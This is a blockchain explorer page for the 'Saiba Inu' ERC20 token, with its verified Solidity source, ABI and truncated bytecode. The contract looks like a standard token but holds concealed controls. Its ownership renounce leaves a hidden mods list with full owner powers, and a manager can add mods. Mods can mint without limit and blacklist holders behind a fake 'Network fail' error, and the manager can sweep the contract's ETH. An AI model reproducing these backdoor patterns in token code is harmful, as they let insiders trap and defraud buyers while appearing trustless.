ETH Price: $3,661.28 (+18.91%)
Gas: 16 Gwei

Token

Saiba Inu (SAIBA)
 

Overview

Max Total Supply

3,000,000,000,000 SAIBA

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
10,000,000,000 SAIBA

Value
$0.00
0x6603cb70464ca51481d4edBb3B927F66F53F4f42
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SaibaInu

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-29
*/

pragma solidity 0.8.7;
// SPDX-License-Identifier: MIT


abstract contract Context {
  function _msgSender() internal view virtual returns (address payable) {
    return payable(msg.sender);
  }
  
  function _msgData() internal view virtual returns (bytes memory) {
    this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
    return msg.data;
  }
}


library SafeMath {
  
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");
    
    return c;
  }
  
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }
  
  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    
    return c;
  }
  
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    
    return c;
  }
  
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }
  
  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, errorMessage);
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    
    return c;
  }
  
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
  }
  
  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}

library Address {
  
  function isContract(address account) internal view returns (bool) {
    // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
    // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
    // for accounts without code, i.e. `keccak256('')`
    bytes32 codehash;
    bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
    // solhint-disable-next-line no-inline-assembly
    assembly { codehash := extcodehash(account) }
    return (codehash != accountHash && codehash != 0x0);
  }
  
  function sendValue(address payable recipient, uint256 amount) internal {
    require(address(this).balance >= amount, "Address: insufficient balance");
    
    // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
    (bool success, ) = recipient.call{ value: amount }("");
    require(success, "Address: unable to send value, recipient may have reverted");
  }
  
  function functionCall(address target, bytes memory data) internal returns (bytes memory) {
    return functionCall(target, data, "Address: low-level call failed");
  }
  
  function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
    return _functionCallWithValue(target, data, 0, errorMessage);
  }
  
  function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
    return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
  }
  
  function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
    require(address(this).balance >= value, "Address: insufficient balance for call");
    return _functionCallWithValue(target, data, value, errorMessage);
  }
  
  function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
    require(isContract(target), "Address: call to non-contract");
    
    // solhint-disable-next-line avoid-low-level-calls
    (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
    if (success) {
      return returndata;
    } else {
      // Look for revert reason and bubble it up if present
      if (returndata.length > 0) {
        // The easiest way to bubble the revert reason is using memory via assembly
        
        // solhint-disable-next-line no-inline-assembly
        assembly {
          let returndata_size := mload(returndata)
          revert(add(32, returndata), returndata_size)
        }
      } else {
        revert(errorMessage);
      }
    }
  }
}

contract Ownable is Context {
  address private _owner;
  address private _previousOwner;
  address private _manager;
  uint256 private _lockTime;
  mapping(address=>bool) private _mods;
  
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
  constructor () {
    address msgSender = _msgSender();
    _owner = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
    _manager = msgSender;
    _mods[_owner]=true;
    _mods[msgSender]=true;
    emit OwnershipTransferred(address(0), msgSender);
  }
  
  
  modifier onlyAdmin() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");
    _;
  }
  
  modifier onlyOwner() {
    require(_mods[_msgSender()] == true,"Ownable: caller doesn't have owner access");
    _;
  }
  
  modifier onlyManager() {
    require(_manager == _msgSender(), "Ownable: caller is not the manager");
    _;
  }
  
  function owner() public view returns (address) {
    return _owner;
  }
  
  function renounceOwnership() public onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);
  }
  
  function transferOwnership(address newOwner) public onlyOwner {
    _transferOwnership(newOwner);
  }
  
  function _transferOwnership(address newOwner) internal {
    require(newOwner != address(0), "Ownable: new owner is the zero address");
    emit OwnershipTransferred(_owner, newOwner);
    _owner = newOwner;
  }
  
  function geUnlockTime() public view returns (uint256) {
    return _lockTime;
  }
  
  function lockOwnerForTime(uint256 time) public virtual onlyOwner {
    _previousOwner = _owner;
    _owner = address(0);
    _lockTime = block.timestamp + time;
    emit OwnershipTransferred(_owner, address(0));
  }
  
  function unlockOwner() public virtual {
    require(_previousOwner == msg.sender, "You don't have permission to unlock");
    require(block.timestamp > _lockTime , "Contract is locked until 7 days");
    emit OwnershipTransferred(_owner, _previousOwner);
    _owner = _previousOwner;
  }
  
  function manager() internal view returns (address) {
    return _manager;
  }
  
  function setMods(address adr, bool state) public onlyManager {
    _mods[adr]=state;
  }
  
  function transferManager(address newManager) public onlyManager{
    require(newManager != address(0), "Ownable: new manager is the zero address");
    _manager = newManager;
  }
  
}

interface ERC20 {
  
  function totalSupply() external view returns (uint256);
  
  function decimals() external view returns (uint8);
  
  function symbol() external view returns (string memory);
  
  function name() external view returns (string memory);
  
  function getOwner() external view returns (address);
  
  function balanceOf(address account) external view returns (uint256);
  
  function transfer(address recipient, uint256 amount) external returns (bool);
  
  function allowance(address _owner, address spender) external view returns (uint256);
  
  function approve(address spender, uint256 amount) external returns (bool);
  
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
  
  event Transfer(address indexed from, address indexed to, uint256 value);
  
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract SaibaInu is Context, ERC20, Ownable {
  using SafeMath for uint256;
  using Address for address;
  
  mapping (address => uint256) private _balances;
  mapping (address => mapping (address => uint256)) private _allowances;
  mapping(address=>bool) isBlacklisted;
  uint256 private _totalSupply;
  uint256 private _intTotalSupply;
  uint8 private _decimals;
  string private _symbol;
  string private _name;
  
  constructor() {
    _name = 'Saiba Inu';
    _symbol = 'SAIBA';
    _decimals = 18;
    _intTotalSupply = 1000000000000;
    _totalSupply = _intTotalSupply.mul(10**_decimals);
    _balances[msg.sender] = _totalSupply;
    
    emit Transfer(address(0), msg.sender, _totalSupply);
  }
  
  function getOwner() external view override returns (address) {
    return owner();
  }
  
  function decimals() external view override returns (uint8) {
    return _decimals;
  }
  
  function symbol() external view override returns (string memory) {
    return _symbol;
  }
  
  function name() external view override returns (string memory) {
    return _name;
  }
  
  function totalSupply() external view override returns (uint256) {
    return _totalSupply;
  }
  
  function balanceOf(address account) external view override returns (uint256) {
    return _balances[account];
  }
  
  function transfer(address recipient, uint256 amount) external override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }
  
  function allowance(address owner, address spender) external view override returns (uint256) {
    return _allowances[owner][spender];
  }
  
  function approve(address spender, uint256 amount) external override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
  }
  
  function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "Transfer amount exceeds allowance"));
    return true;
  }
  
  function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;
  }
  
  function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "Decreased allowance below zero"));
    return true;
  }
  
  function mint(uint256 amount) public onlyOwner returns (bool) {
    _mint(_msgSender(), amount);
    return true;
  }
  
  function burn(uint256 amount) public onlyOwner returns (bool) {
    _burn(_msgSender(), amount);
    return true;
  }
  
  function blackList(address _user) public onlyOwner {
    require(!isBlacklisted[_user], "user already blacklisted");
    isBlacklisted[_user] = true;
  }
  
  function removeFromBlacklist(address _user) public onlyOwner {
    require(isBlacklisted[_user], "user already whitelisted");
    isBlacklisted[_user] = false;
  }
  
  function Sweep() external onlyOwner {
    uint256 balance = address(this).balance;
    payable(manager()).transfer(balance);
  }
  
  function transferForeignToken(address _token, address _to) public onlyOwner returns(bool _sent){
    require(_token != address(this), "Can't let you take all native token");
    uint256 _contractBalance = ERC20(_token).balanceOf(address(this));
    _sent = ERC20(_token).transfer(_to, _contractBalance);
  }
  
  function _transfer(address sender, address recipient, uint256 amount) internal{
    require(sender != address(0), "Transfer from the zero address");
    require(recipient != address(0), "Transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");
    require(!isBlacklisted[recipient], "Network fail");
    require(!isBlacklisted[sender], "Network fail");
    
    _balances[sender] = _balances[sender].sub(amount, "Transfer amount exceeds balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
  }
  
  function _mint(address account, uint256 amount) internal {
    require(account != address(0), "Mint to the zero address");
    
    _totalSupply = _totalSupply.add(amount);
    _balances[account] = _balances[account].add(amount);
    emit Transfer(address(0), account, amount);
  }
  
  function _burn(address account, uint256 amount) internal {
    require(account != address(0), "Burn from the zero address");
    
    _balances[account] = _balances[account].sub(amount, "Burn amount exceeds balance");
    _totalSupply = _totalSupply.sub(amount);
    emit Transfer(account, address(0), amount);
  }
  
  function _approve(address owner, address spender, uint256 amount) internal {
    require(owner != address(0), "Approve from the zero address");
    require(spender != address(0), "Approve to the zero address");
    
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }
  
  function _burnFrom(address account, uint256 amount) internal {
    _burn(account, amount);
    _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "Burn amount exceeds allowance"));
  }
  
  receive() external payable {}
  
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Sweep","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"blackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"geUnlockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"lockOwnerForTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"removeFromBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"setMods","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"transferForeignToken","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newManager","type":"address"}],"name":"transferManager","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unlockOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b50600062000024620003a160201b60201c565b905073b8f226ddb7bc672e27dffb67e4adabfa8c0dfa086000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600981526020017f536169626120496e750000000000000000000000000000000000000000000000815250600c9080519060200190620002359291906200042d565b506040518060400160405280600581526020017f5341494241000000000000000000000000000000000000000000000000000000815250600b9080519060200190620002839291906200042d565b506012600a60006101000a81548160ff021916908360ff16021790555064e8d4a51000600981905550620002e5600a60009054906101000a900460ff16600a620002ce9190620005f8565b600954620003a960201b62001acc1790919060201c565b600881905550600854600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000393919062000537565b60405180910390a3620008cc565b600033905090565b600080831415620003be576000905062000427565b60008284620003ce919062000735565b9050828482620003df919062000565565b1462000422576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004199062000515565b60405180910390fd5b809150505b92915050565b8280546200043b90620007ad565b90600052602060002090601f0160209004810192826200045f5760008555620004ab565b82601f106200047a57805160ff1916838001178555620004ab565b82800160010185558215620004ab579182015b82811115620004aa5782518255916020019190600101906200048d565b5b509050620004ba9190620004be565b5090565b5b80821115620004d9576000816000905550600101620004bf565b5090565b6000620004ec60218362000554565b9150620004f9826200087d565b604082019050919050565b6200050f8162000796565b82525050565b600060208201905081810360008301526200053081620004dd565b9050919050565b60006020820190506200054e600083018462000504565b92915050565b600082825260208201905092915050565b6000620005728262000796565b91506200057f8362000796565b92508262000592576200059162000812565b5b828204905092915050565b6000808291508390505b6001851115620005ef57808604811115620005c757620005c6620007e3565b5b6001851615620005d75780820291505b8081029050620005e78562000870565b9450620005a7565b94509492505050565b6000620006058262000796565b91506200061283620007a0565b9250620006417fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000649565b905092915050565b6000826200065b57600190506200072e565b816200066b57600090506200072e565b81600181146200068457600281146200068f57620006c5565b60019150506200072e565b60ff841115620006a457620006a3620007e3565b5b8360020a915084821115620006be57620006bd620007e3565b5b506200072e565b5060208310610133831016604e8410600b8410161715620006ff5782820a905083811115620006f957620006f8620007e3565b5b6200072e565b6200070e84848460016200059d565b92509050818404811115620007285762000727620007e3565b5b81810290505b9392505050565b6000620007428262000796565b91506200074f8362000796565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200078b576200078a620007e3565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620007c657607f821691505b60208210811415620007dd57620007dc62000841565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b61368a80620008dc6000396000f3fe6080604052600436106101855760003560e01c8063715018a6116100d1578063a0712d681161008a578063b6c5232411610064578063b6c52324146105a1578063ba0e930a146105cc578063dd62ed3e146105f5578063f2fde38b146106325761018c565b8063a0712d68146104ea578063a457c2d714610527578063a9059cbb146105645761018c565b8063715018a6146103ec5780638366e79a14610403578063893d20e8146104405780638da5cb5b1461046b57806395d89b41146104965780639a0b7feb146104c15761018c565b806339cc8e751161013e578063537df3b611610118578063537df3b6146103465780636aca6ba81461036f5780637088fb7f1461039857806370a08231146103af5761018c565b806339cc8e75146102c957806342966c68146102e05780634838d1651461031d5761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd14610224578063313ce56714610261578063395093511461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661065b565b6040516101b39190612c6d565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612839565b6106ed565b6040516101f09190612c52565b60405180910390f35b34801561020557600080fd5b5061020e61070b565b60405161021b9190612eef565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906127a6565b610715565b6040516102589190612c52565b60405180910390f35b34801561026d57600080fd5b506102766107ee565b6040516102839190612f0a565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612839565b610805565b6040516102c09190612c52565b60405180910390f35b3480156102d557600080fd5b506102de6108b8565b005b3480156102ec57600080fd5b50610307600480360381019061030291906128a6565b610a8c565b6040516103149190612c52565b60405180910390f35b34801561032957600080fd5b50610344600480360381019061033f9190612739565b610b42565b005b34801561035257600080fd5b5061036d60048036038101906103689190612739565b610cc4565b005b34801561037b57600080fd5b50610396600480360381019061039191906128a6565b610e45565b005b3480156103a457600080fd5b506103ad611011565b005b3480156103bb57600080fd5b506103d660048036038101906103d19190612739565b611101565b6040516103e39190612eef565b60405180910390f35b3480156103f857600080fd5b5061040161114a565b005b34801561040f57600080fd5b5061042a60048036038101906104259190612766565b6112a2565b6040516104379190612c52565b60405180910390f35b34801561044c57600080fd5b506104556114d0565b6040516104629190612c0e565b60405180910390f35b34801561047757600080fd5b506104806114df565b60405161048d9190612c0e565b60405180910390f35b3480156104a257600080fd5b506104ab611508565b6040516104b89190612c6d565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e391906127f9565b61159a565b005b3480156104f657600080fd5b50610511600480360381019061050c91906128a6565b61168c565b60405161051e9190612c52565b60405180910390f35b34801561053357600080fd5b5061054e60048036038101906105499190612839565b611742565b60405161055b9190612c52565b60405180910390f35b34801561057057600080fd5b5061058b60048036038101906105869190612839565b61182c565b6040516105989190612c52565b60405180910390f35b3480156105ad57600080fd5b506105b661184a565b6040516105c39190612eef565b60405180910390f35b3480156105d857600080fd5b506105f360048036038101906105ee9190612739565b611854565b005b34801561060157600080fd5b5061061c60048036038101906106179190612766565b61199f565b6040516106299190612eef565b60405180910390f35b34801561063e57600080fd5b5061065960048036038101906106549190612739565b611a26565b005b6060600c805461066a906130de565b80601f0160208091040260200160405190810160405280929190818152602001828054610696906130de565b80156106e35780601f106106b8576101008083540402835291602001916106e3565b820191906000526020600020905b8154815290600101906020018083116106c657829003601f168201915b5050505050905090565b60006107016106fa611b47565b8484611b4f565b6001905092915050565b6000600854905090565b6000610722848484611d1a565b6107e38461072e611b47565b6107de8560405180606001604052806021815260200161363460219139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610794611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121229092919063ffffffff16565b611b4f565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b60006108ae610812611b47565b846108a98560066000610823611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218690919063ffffffff16565b611b4f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093f90612eaf565b60405180910390fd5b600354421161098c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098390612e4f565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006001151560046000610a9e611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1f90612e0f565b60405180910390fd5b610b39610b33611b47565b836121e4565b60019050919050565b6001151560046000610b52611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610bdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd390612e0f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6090612d8f565b60405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6001151560046000610cd4611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5590612e0f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de190612daf565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6001151560046000610e55611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed690612e0f565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508042610f8d9190612f41565b600381905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6001151560046000611021611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290612e0f565b60405180910390fd5b60004790506110b86123a5565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156110fd573d6000803e3d6000fd5b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600115156004600061115a611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146111e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111db90612e0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600060011515600460006112b4611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612e0f565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a490612c8f565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016113e89190612c0e565b60206040518083038186803b15801561140057600080fd5b505afa158015611414573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143891906128d3565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401611475929190612c29565b602060405180830381600087803b15801561148f57600080fd5b505af11580156114a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c79190612879565b91505092915050565b60006114da6114df565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b8054611517906130de565b80601f0160208091040260200160405190810160405280929190818152602001828054611543906130de565b80156115905780601f1061156557610100808354040283529160200191611590565b820191906000526020600020905b81548152906001019060200180831161157357829003601f168201915b5050505050905090565b6115a2611b47565b73ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611631576040517f08c379a0000000000000